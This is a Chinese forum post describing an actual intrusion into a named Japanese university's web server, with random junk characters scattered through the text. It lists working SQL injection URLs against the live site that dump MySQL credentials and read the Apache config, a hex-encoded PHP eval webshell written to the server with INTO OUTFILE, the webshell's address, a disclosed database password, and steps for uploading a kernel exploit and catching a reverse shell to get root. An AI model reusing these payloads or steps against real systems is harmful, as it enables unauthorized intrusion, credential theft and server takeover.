入侵日本同志社大学技术分析7 ^. [1 R& f) N* E6 `: Y9 T9 B
( A6 X; y0 j, c$ ghttp://www.doshisha.ac.jp/chs/news/index.php?i=-15 c$ E) O* b* G! K$ A& n6 M
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
: d8 O0 r& ]4 t/ a9 o J6 y
$ Z' a8 K2 S& n- d- `$ n9 a1 yhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user# o4 q/ Z3 x# P& L% J" K0 v2 k* f/ U
. D% m4 T1 P7 f2 Q) a. r0 Y" |- ?
$ @! W# g; [) p& }2 f
" Y& }3 ]9 _* V( Z0 K//@@datadir为数据库文件路径
; G% i+ U5 W* ]) t
# B: y; o# Q# s% a9 m( T. u! f$ l4 {! w- j" Y
//load_file读取网站容器apache的配置文件
+ M% @( h2 \6 {+ s * y/ t# T7 n5 u0 D( Q
% J* h& |- [) g0 h2 f% y
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
7 g4 l' U/ M: Y ~4 c! V- T% J复制代码
- j$ [0 n8 b3 ^5 ?. q) \# h9 n
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
# K ]* `0 t$ [% {; J& z$ p6 Z9 W; q- Z
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。1 l' y: F- G& \: h. {* F
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
: W. _. A8 o3 F" \7 Z V
/ _6 G7 f6 ~2 _, s7 N; I5 v: N; U前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
8 {4 G$ }% {% w; Z# B1 ]/ H# ?如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html* x: C7 y3 ^ t; v" H
$ ^) r# M1 r0 i e; C, X2 W既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
( ^1 V- N6 t+ C1 ]4 j虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。$ U u) u8 i+ l/ d1 z$ Y( _
直接写一句话:
0 H' n( J+ B0 ^; Q+ { x" Q
' U3 E3 ^0 F; D" Z. f2 Hhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
( U3 Y W8 m8 C v4 T4 W, d5 L) @3 w: Z
' r% ?" q- O% I! V# q; M3 W% E1 S! I( d' [! {
//最后的#是为了闭合前面的语句
1 E/ E0 F" E, @0 }
& [+ [. ^0 k% l; {: j0 B- b6 ?* R2 I9 o# `" ]& h0 I
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 9 R- a! a9 n7 O' D1 Z& J0 C" C1 }
( l% u9 K. ?( q2 {" B0 u, \' \5 D8 z3 }) Q2 R; ~. t3 U
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
2 @& Z# s* i7 O 5 b1 W# m5 X! A1 `8 `- I
8 w( E- n; H" z- z9 ^1 d, L2 y) T
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
8 j, b T7 s( \
# O0 p# w4 [+ g( l! s# K5 Q
. T; _+ d! w1 |! J. x//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 1 X3 Z. b% B8 G8 R
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 9 y# m' u# M5 L& ?. V
复制代码
) N# y) ?( d0 w: O) ~
2 z3 E' c' v* R+ ?1 ~2 `. ^: a+ vHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有7 @2 m! E. A0 j% c, e- [4 v- ~
通过上述注入语句,我们就得到了一句话木马:7 m4 T- C, P+ @* X
! u" I1 e% T+ w, N
; V( ^* a' b" e9 U4 ^
! o ?6 c* p l- {0 e6 g + A; @3 S3 w- Y, f7 `
- A( r% r. d" D8 |( A. {- d- k! t7 G
http://www.doshisha.ac.jp/english/engnews_img/aa.php 2 V/ X. F! Y5 O8 u. X- i
复制代码; K2 m' D) R& p7 L+ F
! T# U& ^, s9 V$ b1 `用菜刀连接,密码是cmd,如图所示:
# O! l3 C' {* U! Q" _. ^然后在命令提示行里看了一下,现在的权限是:
/ T+ z1 X2 Y. v! |) p9 b% M$ ~& V6 Z4 a
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。. `+ n$ _7 [/ u: m w0 ^
好在赋权给这个文件夹不需要root,直接执行赋权语句:9 M, u5 L9 d& _& m/ @" B1 o t
, j+ m6 K3 B' }: X ; N$ W1 J) {2 G& G0 X* O
/ y3 N4 T' J( I, F3 D
# A! F; l9 ^. |5 E- M* j% q7 T0 G0 M! I: O9 U
chmod +x /tmp/
6 Q( _9 P1 }) i; X8 h ~# ?复制代码9 O+ e6 `; H$ J$ H7 I; ]
% {$ H. o9 G+ O$ T, v在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
, j0 u8 l. {2 i$ m; h: x7 C然后就查了一下内核版本:
7 [) s# K( U: I4 K3 {1 O3 D$ S9 }7 Z
. t" K! y& c! a! n T g8 @) Z! G+ ]. X* o/ Y. z k% l2 N+ B
2 t( |1 S, x' X0 C9 e& K, z& q5 Y6 G5 y! ]
' \' y6 c; p4 W0 ?" q: \uname-a " v% F) I& r$ }$ Z
% p+ x9 t( s* w) q/ r# Z+ `% v) N1 G& A0 w' R: }' A
//其实lsb_release -a 5 `6 X. x5 A! z- N
复制代码
! \4 f' m- t% c0 N- C1 B2 G# L+ L
$ m5 C# t" _8 D6 M如图所示:5 I& P& [+ s1 b/ X
" g ^$ s1 [9 s. g- r
内核版本:linux mainz1 2.6.28-194.e15
) D+ |; q; N2 ?; J系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)& B: Y( {( t& {5 b! {* _" p
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
% @! g+ r4 d+ b8 Y& _3 V, t# I0 b* x2 L! Y& o$ L
然后给予执行权限
7 O X4 L6 G1 L一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样: I* W7 V# q. |5 w
3 v- p, Z2 s# [" p7 s- s# C) C" W 8 A9 [6 D6 u- m% L! v% W! ]
( j: j- Y$ ]9 T5 T
; B6 h: n0 b9 ~+ J4 l q
! ]; z3 s% ^, achmod +x /tmp/2.6.18-194
" P) s+ s5 ~; @7 n复制代码 然后直接执行!~
* R4 [% l8 O7 y/ c' T3 g- I0 H+ W0 i. d; T2 b+ e
总结:5 M6 o. l/ B( e5 ^3 M8 x
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
+ O9 c: e3 x% ]4 t# f提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
. Y( N, T* U- s* w) [5 \! j. E+ ]' ]5 Z3 p$ Z
|